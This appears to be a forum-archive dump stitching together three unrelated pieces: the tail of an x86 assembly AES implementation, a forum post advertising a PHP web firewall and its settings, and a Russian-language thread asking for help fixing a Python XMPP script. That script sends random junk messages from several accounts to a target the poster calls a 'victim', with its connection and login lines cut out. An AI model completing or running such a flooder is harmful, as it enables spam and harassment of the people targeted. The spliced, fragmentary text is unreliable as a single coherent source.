stdcall addRoundKey, ebx, eax
stdcall mixColumns9111314, ebx, [mul9_table_ptr], [mul11_table_ptr],\
            [mul13_table_ptr], [mul14_table_ptr]
stdcall inverseShiftRows, ebx
stdcall subBlockBytes, ebx, [inverse_sbox_ptr]
sub eax, BLOCK_SIZE
cmp eax, [roundkeys_ptr]
jne dr_main

   ;initial_round
stdcall addRoundKey, ebx, eax

popad
ret
endp

;mix columns operation is a column matrix
;multiplication
proc mixColumns9111314, data_ptr:DWORD, mul9_table_ptr:DWORD,\
     mul11_table_ptr:DWORD, mul13_table_ptr:DWORD, mul14_table_ptr:DWORD

local current_column:DWORD

push edx
push eax
push ebx
push ecx
mov edx, [data_ptr]

rept 4{
   ;element 3
mov eax, [edx]
mov ebx, [mul9_table_ptr]
xlatb
mov cl, al
shr eax,8
mov ebx, [mul13_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul11_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul14_table_ptr]
xlatb
xor cl, al
mov [current_column], ecx
   ;element 2
mov eax, [edx]
mov ebx, [mul13_table_ptr]
xlatb
mov cl, al
shr eax,8
mov ebx, [mul11_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul14_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul9_table_ptr]
xlatb
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
mov [current_column], eax
   ;element 1
mov eax, [edx]
mov ebx, [mul11_table_ptr]
xlatb
mov cl, al
shr eax,8
mov ebx, [mul14_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul9_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul13_table_ptr]
xlatb
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
mov [current_column], eax
   ;element 0
mov eax, [edx]
mov ebx, [mul14_table_ptr]
xlatb
mov cl, al
shr eax,8
mov ebx, [mul9_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul13_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul11_table_ptr]
xlatb
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
   ;finished, store it
mov [edx], eax
add edx, COLUMN_SIZE
}

pop ecx
pop ebx
pop eax
pop edx
ret

endp

;reverse shift operation for decryption
proc inverseShiftRows, data_ptr:DWORD

push eax
push ebx
mov ebx,[data_ptr]

loadRow
rol eax, 8
storeRow
inc ebx
loadRow
rol eax, 16
storeRow
inc ebx
loadRow
rol eax, 24
storeRow

pop ebx
pop eax
ret

endp

macro CreateGalois target, [char]
{
mov byte [target], char
inc target
}

;create 2 lookup tables for multiplication in the
;galois field with 2 and 3
proc createGaloisEncryption mul2_ptr:DWORD, mul3_ptr:DWORD

push eax
mov eax, [mul2_ptr]
CreateGalois eax, 0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,\
                       0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,\
                       0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,\
                       0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,\
                       0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,\
                       0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,\
                       0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,\
                       0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,\
                       0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,\
                       0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,\
                       0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,\
                       0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,\
                       0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,\
                       0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,\
                       0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,\
                       0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5

mov eax,  [mul3_ptr]
CreateGalois eax, 0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,\
                       0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,\
                       0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,\
                       0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,\
                       0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,\
                       0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,\
                       0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,\
                       0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,\
                       0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,\
                       0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,\
                       0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,\
                       0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,\
                       0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,\
                       0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,\
                       0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,\
                       0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
pop eax
ret

endp

;create 4 lookup tables for multiplication in the
;galois field with 9, 11, 13 and 14
proc createGaloisDecryption mul9_ptr:DWORD, mul11_ptr:DWORD,\
     mul13_ptr:DWORD, mul14_ptr:DWORD

push eax
mov eax, [mul9_ptr]
CreateGalois eax, 0x00, 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x3f, 0x48, 0x41, 0x5a, 0x53, 0x6c, 0x65, 0x7e, 0x77, \
                       0x90, 0x99, 0x82, 0x8b, 0xb4, 0xbd, 0xa6, 0xaf, 0xd8, 0xd1, 0xca, 0xc3, 0xfc, 0xf5, 0xee, 0xe7, \
                       0x3b, 0x32, 0x29, 0x20, 0x1f, 0x16, 0x0d, 0x04, 0x73, 0x7a, 0x61, 0x68, 0x57, 0x5e, 0x45, 0x4c, \
                       0xab, 0xa2, 0xb9, 0xb0, 0x8f, 0x86, 0x9d, 0x94, 0xe3, 0xea, 0xf1, 0xf8, 0xc7, 0xce, 0xd5, 0xdc, \
                       0x76, 0x7f, 0x64, 0x6d, 0x52, 0x5b, 0x40, 0x49, 0x3e, 0x37, 0x2c, 0x25, 0x1a, 0x13, 0x08, 0x01, \
                       0xe6, 0xef, 0xf4, 0xfd, 0xc2, 0xcb, 0xd0, 0xd9, 0xae, 0xa7, 0xbc, 0xb5, 0x8a, 0x83, 0x98, 0x91, \
                       0x4d, 0x44, 0x5f, 0x56, 0x69, 0x60, 0x7b, 0x72, 0x05, 0x0c, 0x17, 0x1e, 0x21, 0x28, 0x33, 0x3a, \
                       0xdd, 0xd4, 0xcf, 0xc6, 0xf9, 0xf0, 0xeb, 0xe2, 0x95, 0x9c, 0x87, 0x8e, 0xb1, 0xb8, 0xa3, 0xaa, \
                       0xec, 0xe5, 0xfe, 0xf7, 0xc8, 0xc1, 0xda, 0xd3, 0xa4, 0xad, 0xb6, 0xbf, 0x80, 0x89, 0x92, 0x9b, \
                       0x7c, 0x75, 0x6e, 0x67, 0x58, 0x51, 0x4a, 0x43, 0x34, 0x3d, 0x26, 0x2f, 0x10, 0x19, 0x02, 0x0b, \
                       0xd7, 0xde, 0xc5, 0xcc, 0xf3, 0xfa, 0xe1, 0xe8, 0x9f, 0x96, 0x8d, 0x84, 0xbb, 0xb2, 0xa9, 0xa0, \
                       0x47, 0x4e, 0x55, 0x5c, 0x63, 0x6a, 0x71, 0x78, 0x0f, 0x06, 0x1d, 0x14, 0x2b, 0x22, 0x39, 0x30, \
                       0x9a, 0x93, 0x88, 0x81, 0xbe, 0xb7, 0xac, 0xa5, 0xd2, 0xdb, 0xc0, 0xc9, 0xf6, 0xff, 0xe4, 0xed, \
                       0x0a, 0x03, 0x18, 0x11, 0x2e, 0x27, 0x3c, 0x35, 0x42, 0x4b, 0x50, 0x59, 0x66, 0x6f, 0x74, 0x7d, \
                       0xa1, 0xa8, 0xb3, 0xba, 0x85, 0x8c, 0x97, 0x9e, 0xe9, 0xe0, 0xfb, 0xf2, 0xcd, 0xc4, 0xdf, 0xd6, \
                       0x31, 0x38, 0x23, 0x2a, 0x15, 0x1c, 0x07, 0x0e, 0x79, 0x70, 0x6b, 0x62, 0x5d, 0x54, 0x4f, 0x46

mov eax,  [mul11_ptr]
CreateGalois eax, 0x00, 0x0b, 0x16, 0x1d, 0x2c, 0x27, 0x3a, 0x31, 0x58, 0x53, 0x4e, 0x45, 0x74, 0x7f, 0x62, 0x69, \
                       0xb0, 0xbb, 0xa6, 0xad, 0x9c, 0x97, 0x8a, 0x81, 0xe8, 0xe3, 0xfe, 0xf5, 0xc4, 0xcf, 0xd2, 0xd9, \
                       0x7b, 0x70, 0x6d, 0x66, 0x57, 0x5c, 0x41, 0x4a, 0x23, 0x28, 0x35, 0x3e, 0x0f, 0x04, 0x19, 0x12, \
                       0xcb, 0xc0, 0xdd, 0xd6, 0xe7, 0xec, 0xf1, 0xfa, 0x93, 0x98, 0x85, 0x8e, 0xbf, 0xb4, 0xa9, 0xa2, \
                       0xf6, 0xfd, 0xe0, 0xeb, 0xda, 0xd1, 0xcc, 0xc7, 0xae, 0xa5, 0xb8, 0xb3, 0x82, 0x89, 0x94, 0x9f, \
                       0x46, 0x4d, 0x50, 0x5b, 0x6a, 0x61, 0x7c, 0x77, 0x1e, 0x15, 0x08, 0x03, 0x32, 0x39, 0x24, 0x2f, \
                       0x8d, 0x86, 0x9b, 0x90, 0xa1, 0xaa, 0xb7, 0xbc, 0xd5, 0xde, 0xc3, 0xc8, 0xf9, 0xf2, 0xef, 0xe4, \
                       0x3d, 0x36, 0x2b, 0x20, 0x11, 0x1a, 0x07, 0x0c, 0x65, 0x6e, 0x73, 0x78, 0x49, 0x42, 0x5f, 0x54, \
                       0xf7, 0xfc, 0xe1, 0xea, 0xdb, 0xd0, 0xcd, 0xc6, 0xaf, 0xa4, 0xb9, 0xb2, 0x83, 0x88, 0x95, 0x9e, \
                       0x47, 0x4c, 0x51, 0x5a, 0x6b, 0x60, 0x7d, 0x76, 0x1f, 0x14, 0x09, 0x02, 0x33, 0x38, 0x25, 0x2e, \
                       0x8c, 0x87, 0x9a, 0x91, 0xa0, 0xab, 0xb6, 0xbd, 0xd4, 0xdf, 0xc2, 0xc9, 0xf8, 0xf3, 0xee, 0xe5, \
                       0x3c, 0x37, 0x2a, 0x21, 0x10, 0x1b, 0x06, 0x0d, 0x64, 0x6f, 0x72, 0x79, 0x48, 0x43, 0x5e, 0x55, \
                       0x01, 0x0a, 0x17, 0x1c, 0x2d, 0x26, 0x3b, 0x30, 0x59, 0x52, 0x4f, 0x44, 0x75, 0x7e, 0x63, 0x68, \
                       0xb1, 0xba, 0xa7, 0xac, 0x9d, 0x96, 0x8b, 0x80, 0xe9, 0xe2, 0xff, 0xf4, 0xc5, 0xce, 0xd3, 0xd8, \
                       0x7a, 0x71, 0x6c, 0x67, 0x56, 0x5d, 0x40, 0x4b, 0x22, 0x29, 0x34, 0x3f, 0x0e, 0x05, 0x18, 0x13, \
                       0xca, 0xc1, 0xdc, 0xd7, 0xe6, 0xed, 0xf0, 0xfb, 0x92, 0x99, 0x84, 0x8f, 0xbe, 0xb5, 0xa8, 0xa3

mov eax,  [mul13_ptr]
CreateGalois eax, 0x00, 0x0d, 0x1a, 0x17, 0x34, 0x39, 0x2e, 0x23, 0x68, 0x65, 0x72, 0x7f, 0x5c, 0x51, 0x46, 0x4b, \
                       0xd0, 0xdd, 0xca, 0xc7, 0xe4, 0xe9, 0xfe, 0xf3, 0xb8, 0xb5, 0xa2, 0xaf, 0x8c, 0x81, 0x96, 0x9b, \
                       0xbb, 0xb6, 0xa1, 0xac, 0x8f, 0x82, 0x95, 0x98, 0xd3, 0xde, 0xc9, 0xc4, 0xe7, 0xea, 0xfd, 0xf0, \
                       0x6b, 0x66, 0x71, 0x7c, 0x5f, 0x52, 0x45, 0x48, 0x03, 0x0e, 0x19, 0x14, 0x37, 0x3a, 0x2d, 0x20, \
                       0x6d, 0x60, 0x77, 0x7a, 0x59, 0x54, 0x43, 0x4e, 0x05, 0x08, 0x1f, 0x12, 0x31, 0x3c, 0x2b, 0x26, \
                       0xbd, 0xb0, 0xa7, 0xaa, 0x89, 0x84, 0x93, 0x9e, 0xd5, 0xd8, 0xcf, 0xc2, 0xe1, 0xec, 0xfb, 0xf6, \
                       0xd6, 0xdb, 0xcc, 0xc1, 0xe2, 0xef, 0xf8, 0xf5, 0xbe, 0xb3, 0xa4, 0xa9, 0x8a, 0x87, 0x90, 0x9d, \
                       0x06, 0x0b, 0x1c, 0x11, 0x32, 0x3f, 0x28, 0x25, 0x6e, 0x63, 0x74, 0x79, 0x5a, 0x57, 0x40, 0x4d, \
                       0xda, 0xd7, 0xc0, 0xcd, 0xee, 0xe3, 0xf4, 0xf9, 0xb2, 0xbf, 0xa8, 0xa5, 0x86, 0x8b, 0x9c, 0x91, \
                       0x0a, 0x07, 0x10, 0x1d, 0x3e, 0x33, 0x24, 0x29, 0x62, 0x6f, 0x78, 0x75, 0x56, 0x5b, 0x4c, 0x41, \
                       0x61, 0x6c, 0x7b, 0x76, 0x55, 0x58, 0x4f, 0x42, 0x09, 0x04, 0x13, 0x1e, 0x3d, 0x30, 0x27, 0x2a, \
                       0xb1, 0xbc, 0xab, 0xa6, 0x85, 0x88, 0x9f, 0x92, 0xd9, 0xd4, 0xc3, 0xce, 0xed, 0xe0, 0xf7, 0xfa, \
                       0xb7, 0xba, 0xad, 0xa0, 0x83, 0x8e, 0x99, 0x94, 0xdf, 0xd2, 0xc5, 0xc8, 0xeb, 0xe6, 0xf1, 0xfc, \
                       0x67, 0x6a, 0x7d, 0x70, 0x53, 0x5e, 0x49, 0x44, 0x0f, 0x02, 0x15, 0x18, 0x3b, 0x36, 0x21, 0x2c, \
                       0x0c, 0x01, 0x16, 0x1b, 0x38, 0x35, 0x22, 0x2f, 0x64, 0x69, 0x7e, 0x73, 0x50, 0x5d, 0x4a, 0x47, \
                       0xdc, 0xd1, 0xc6, 0xcb, 0xe8, 0xe5, 0xf2, 0xff, 0xb4, 0xb9, 0xae, 0xa3, 0x80, 0x8d, 0x9a, 0x97

mov eax,  [mul14_ptr]
CreateGalois eax, 0x00, 0x0e, 0x1c, 0x12, 0x38, 0x36, 0x24, 0x2a, 0x70, 0x7e, 0x6c, 0x62, 0x48, 0x46, 0x54, 0x5a, \
                       0xe0, 0xee, 0xfc, 0xf2, 0xd8, 0xd6, 0xc4, 0xca, 0x90, 0x9e, 0x8c, 0x82, 0xa8, 0xa6, 0xb4, 0xba, \
                       0xdb, 0xd5, 0xc7, 0xc9, 0xe3, 0xed, 0xff, 0xf1, 0xab, 0xa5, 0xb7, 0xb9, 0x93, 0x9d, 0x8f, 0x81, \
                       0x3b, 0x35, 0x27, 0x29, 0x03, 0x0d, 0x1f, 0x11, 0x4b, 0x45, 0x57, 0x59, 0x73, 0x7d, 0x6f, 0x61, \
                       0xad, 0xa3, 0xb1, 0xbf, 0x95, 0x9b, 0x89, 0x87, 0xdd, 0xd3, 0xc1, 0xcf, 0xe5, 0xeb, 0xf9, 0xf7, \
                       0x4d, 0x43, 0x51, 0x5f, 0x75, 0x7b, 0x69, 0x67, 0x3d, 0x33, 0x21, 0x2f, 0x05, 0x0b, 0x19, 0x17, \
                       0x76, 0x78, 0x6a, 0x64, 0x4e, 0x40, 0x52, 0x5c, 0x06, 0x08, 0x1a, 0x14, 0x3e, 0x30, 0x22, 0x2c, \
                       0x96, 0x98, 0x8a, 0x84, 0xae, 0xa0, 0xb2, 0xbc, 0xe6, 0xe8, 0xfa, 0xf4, 0xde, 0xd0, 0xc2, 0xcc, \
                       0x41, 0x4f, 0x5d, 0x53, 0x79, 0x77, 0x65, 0x6b, 0x31, 0x3f, 0x2d, 0x23, 0x09, 0x07, 0x15, 0x1b, \
                       0xa1, 0xaf, 0xbd, 0xb3, 0x99, 0x97, 0x85, 0x8b, 0xd1, 0xdf, 0xcd, 0xc3, 0xe9, 0xe7, 0xf5, 0xfb, \
                       0x9a, 0x94, 0x86, 0x88, 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0, \
                       0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20, \
                       0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6, \
                       0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56, \
                       0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d, \
                       0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d

pop eax
ret

endp
;encrypts cleartext and stores the result at enctext
proc encAES size:DWORD, cleartext_ptr:DWORD, enctext_ptr:DWORD,\
     aeskey_ptr:DWORD

local keychain[(ENCRYPTION_ROUNDS+1)*BLOCK_SIZE]:BYTE, sbox[SBOX_SIZE]:BYTE,\
      rcon[RCON_SIZE]:BYTE, galois_mul2[GALOIS_SIZE]:BYTE,\
      galois_mul3[GALOIS_SIZE]:BYTE, mul2_table_ptr:DWORD,\
      mul3_table_ptr:DWORD, sbox_ptr:DWORD, keychain_ptr:DWORD,\
      rcon_ptr:DWORD

pushad
   ;sbox and rcon are created in memory
   ;galois lookup tables too
lea eax,[sbox]
mov [sbox_ptr], eax
stdcall createSBox, eax
lea eax,[rcon]
mov [rcon_ptr], eax
stdcall createRcon, eax
lea eax,[galois_mul2]
mov [mul2_table_ptr], eax
lea ebx,[galois_mul3]
mov [mul3_table_ptr], ebx
stdcall createGaloisEncryption, eax, ebx

   ;copy the key into the round key buffer
mov ecx, KEY_SIZE
mov esi, [aeskey_ptr]
lea edi, [keychain]
mov [keychain_ptr], edi
rep movsb

   ;create the round keys
stdcall createKeyChain, [keychain_ptr], [sbox_ptr],\
            [rcon_ptr]

   ;copy clear text to encryption buffer
mov ecx, [size]
mov esi, [cleartext_ptr]
mov edi, [enctext_ptr]
rep movsb

   ;eax == current to be encrypted block
   ;ebx == end of cleartext
mov eax,[enctext_ptr]
mov ebx,eax
add ebx,[size]
eaes_block_loop:
stdcall encryptionRounds, eax, [keychain_ptr], \
            [sbox_ptr], [mul2_table_ptr], [mul3_table_ptr]

add eax,BLOCK_SIZE
cmp eax,ebx
jnge eaes_block_loop

popad
mov eax,1
ret

endp

;decrypts cleartext and stores the result at enctext
proc decAES size:DWORD, enctext_ptr:DWORD, cleartext_ptr:DWORD,\
     aeskey_ptr:DWORD

local keychain[(ENCRYPTION_ROUNDS+1)*BLOCK_SIZE]:BYTE,\
      sbox[SBOX_SIZE]:BYTE, invert_sbox[SBOX_SIZE]:BYTE,\
      rcon[RCON_SIZE]:BYTE,\
      galois_mul9[GALOIS_SIZE]:BYTE, galois_mul11[GALOIS_SIZE]:BYTE, \
      galois_mul13[GALOIS_SIZE]:BYTE, galois_mul14[GALOIS_SIZE]:BYTE,\
      mul9_table_ptr:DWORD, mul11_table_ptr:DWORD, mul13_table_ptr:DWORD,\
      mul14_table_ptr:DWORD, sbox_ptr:DWORD, invert_sbox_ptr:DWORD,\
      keychain_ptr:DWORD, rcon_ptr:DWORD

pushad
   ;sbox, invert sbox
   ;and rcon are created in memory
lea eax,[sbox]
mov [sbox_ptr], eax
stdcall createSBox, eax
lea eax,[rcon]
mov [rcon_ptr], eax
stdcall createRcon, eax
lea eax, [invert_sbox]
mov [invert_sbox_ptr], eax
stdcall createInvertSBox, eax

   ;create galois lookup tables for
   ;9, 11, 13 and 14
lea eax,[galois_mul9]
mov [mul9_table_ptr], eax
lea ebx,[galois_mul11]
mov [mul11_table_ptr], ebx
lea ecx,[galois_mul13]
mov [mul13_table_ptr], ecx
lea edx,[galois_mul14]
mov [mul14_table_ptr], edx
stdcall createGaloisDecryption, eax, ebx, ecx, edx

   ;copy the key into the round key buffer
mov ecx, KEY_SIZE
mov esi, [aeskey_ptr]
lea edi, [keychain]
mov [keychain_ptr], edi
rep movsb

   ;create the round keys
stdcall createKeyChain, [keychain_ptr], [sbox_ptr],\
            [rcon_ptr]

   ;copy encrypted text to decryption buffer
mov ecx, [size]
mov esi, [enctext_ptr]
mov edi, [cleartext_ptr]
rep movsb

   ;eax == current to be decrypted block
   ;ebx == end of cleartext
mov eax,[cleartext_ptr]
mov ebx,eax
add ebx,[size]
daes_block_loop:
stdcall decryptionRounds, eax, [keychain_ptr],\
            [invert_sbox_ptr], [mul9_table_ptr], [mul11_table_ptr],\
            [mul13_table_ptr], [mul14_table_ptr]

add eax,BLOCK_SIZE
cmp eax,ebx
jnge daes_block_loop

popad
mov eax,1
ret

endp

;END AES.ASM
PHP_Firewall_103
ID: 67668b27b4103b69df375e0f
Thread ID: 22830
Created: 2012-05-20T10:51:41+0000
Last Post: 2014-02-03T01:01:49+0000
Author: DarckSol
Replies: 1 Views: 2K

PHP Firewall is a small free PHP script, but secure all websites writen in PHP.
Last version 1.0.3

PHP Firewall required PHP 5.
PHP Firewall doesn't use any database, but flatfile system.
It's very small, very simple, really easy to install and fastest.
PHP Firewall have is own logs system and email alert.
No .htaccess file required for betters performances
Security listing

  • XSS protection
  • UNION SQL Injection protection
  • Bads bots protection
  • Bads requests methods protection
  • Small DOS protection
  • Inclusion files protection
  • Santy and others worms protection
  • Server Protection
  • URL Query protection
  • Cookies sanitize
  • Post vars sanitize
  • Get vars sanitize
  • IPs range reserved denied
  • IPs range spam denied
  • IPs protected
  • Unset globals PHP var

PHP Firewall install in your website

  • Upload the folder php-firewall/
  • put the php-firewall/logs.txt in writable chmod
  • Open the main file ( index.php for example ) and add these lines juste after the < ?php

Code:Copy to clipboard

define('PHP_FIREWALL_REQUEST_URI', strip_tags( $_SERVER['REQUEST_URI'] ) );
define('PHP_FIREWALL_ACTIVATION', true );
if ( is_file( @dirname(__FILE__).'/php-firewall/firewall.php' ) )
    include_once( @dirname(__FILE__).'/php-firewall/firewall.php' );

Code:Copy to clipboard

if you want deactive the PHP Firewall, edit this line:
define('PHP_FIREWALL_ACTIVATION', false );

PHP Firewall configuration
You can active or deactive most protections in PHP Firewall.

Code:Copy to clipboard

Open the php-firewall/firewall.php

All the parameters are between the lines 23 and 39
**
** true = active
** false = deactive**

Code:Copy to clipboard

define('PHP_FIREWALL_ADMIN_MAIL', '' );  // write your email, php firewall mail you  each attack detected
   define('PHP_FIREWALL_PUSH_MAIL', false ); // active email rapport true or false deactive
   define('PHP_FIREWALL_LOG_FILE', 'logs' );  // filename logs for php firewall
  define('PHP_FIREWALL_PROTECTION_RANGE_IP_DENY', true ); // IPs reserved blocker
  define('PHP_FIREWALL_PROTECTION_RANGE_IP_SPAM', true );  // IPs spam blocker
  define('PHP_FIREWALL_PROTECTION_URL', true );  // URL protection
  define('PHP_FIREWALL_PROTECTION_REQUEST_SERVER', true ); // Request protection
  define('PHP_FIREWALL_PROTECTION_SANTY', true ); // Santy worm protection
  define('PHP_FIREWALL_PROTECTION_BOTS', true ); // Bad bots protection
  define('PHP_FIREWALL_PROTECTION_REQUEST_METHOD', true ); // Bad method protection
  define('PHP_FIREWALL_PROTECTION_DOS', true ); // Mini dos protection
  define('PHP_FIREWALL_PROTECTION_UNION_SQL', true ); // Union sql protection
  define('PHP_FIREWALL_PROTECTION_CLICK_ATTACK', true ); // Include files protection
  define('PHP_FIREWALL_PROTECTION_XSS_ATTACK', true ); // XSS protection
  define('PHP_FIREWALL_PROTECTION_COOKIES', true ); // sanitize cookies
  define('PHP_FIREWALL_PROTECTION_POST', true ); // Sanitize POST vars
  define('PHP_FIREWALL_PROTECTION_GET', true );  // sanitize GET vars

:zns5: [Скачать|Download](http://php- firewall.googlecode.com/files/PHP_Firewall_103.tar.gz)

python вызов файла
ID: 67668b27b4103b69df375e10
Thread ID: 24914
Created: 2014-01-10T12:54:23+0000
Last Post: 2014-01-12T10:17:55+0000
Author: Ar3s
Replies: 3 Views: 2K

имеется два файла:

starter.py

Code:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys,os

from send import jsend

to = 'jid@dlab.org.in'
xmpp_jid = 'jid2@dlab.org.in'
xmpp_pwd = 'pass'

jsend(to,xmpp_jid,xmpp_pwd)

и send.py

Code:Copy to clipboard

#!/usr/bin/env python
#-*- coding: utf-8 -*-

import xmpp,sys,string,random,time,os

# устанавливаем тип генерируемых строк
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + ' '

def jsend(to,xmpp_jid,xmpp_pwd):
        user = to
        res = ''.join(random.sample(char_set*6,6))
        # соединяемся с сервером
        !вырезано

        # начинаем слать сообщения
        # делаем цикл для отправки сообщений
        count = 2
        i=0
        while i < count:
                msg = ''.join(random.sample(char_set*10, random.randint(10, 249)))
        # игры с авторизацией
                !вырезано
        # само сообщение
                !вырезано
                time.sleep(0.1)
                i+=1

        # закончили отправлять. Рвем коннект
        client.disconnect()


jsend(to,xmpp_jid,xmpp_pwd)

# данный блок копипаста для проверки передачи параметров. Пусть пока двух
if __name__ == "__main__":

    name = os.path.basename(sys.argv[0])

    if len(sys.argv) < 2:
        print name+" JID сообщение"
        sys.exit(0)

    to = sys.argv[1]
    if sys.argv[2] == '-':
        text = sys.stdin.read()
    else:
        text = ' '.join(sys.argv[2:])

сам сэндер рабочий был пока я не переделывал его под параметры. т.е. в нем все фунциклировало.
Решил добавить отсылку с разных аккаунтов. Для этого в скрипт отправки сообщений впихнул прием параметров для соединения и для жертвы.

Имею следующие ошибки:

Traceback (most recent call last):
File "starter.py", line 5, in
from send import jsend
File "/home/user/python_xmpp/send.py", line 36, in
jsend(to,xmpp_jid,xmpp_pwd)
NameError: name 'to' is not defined

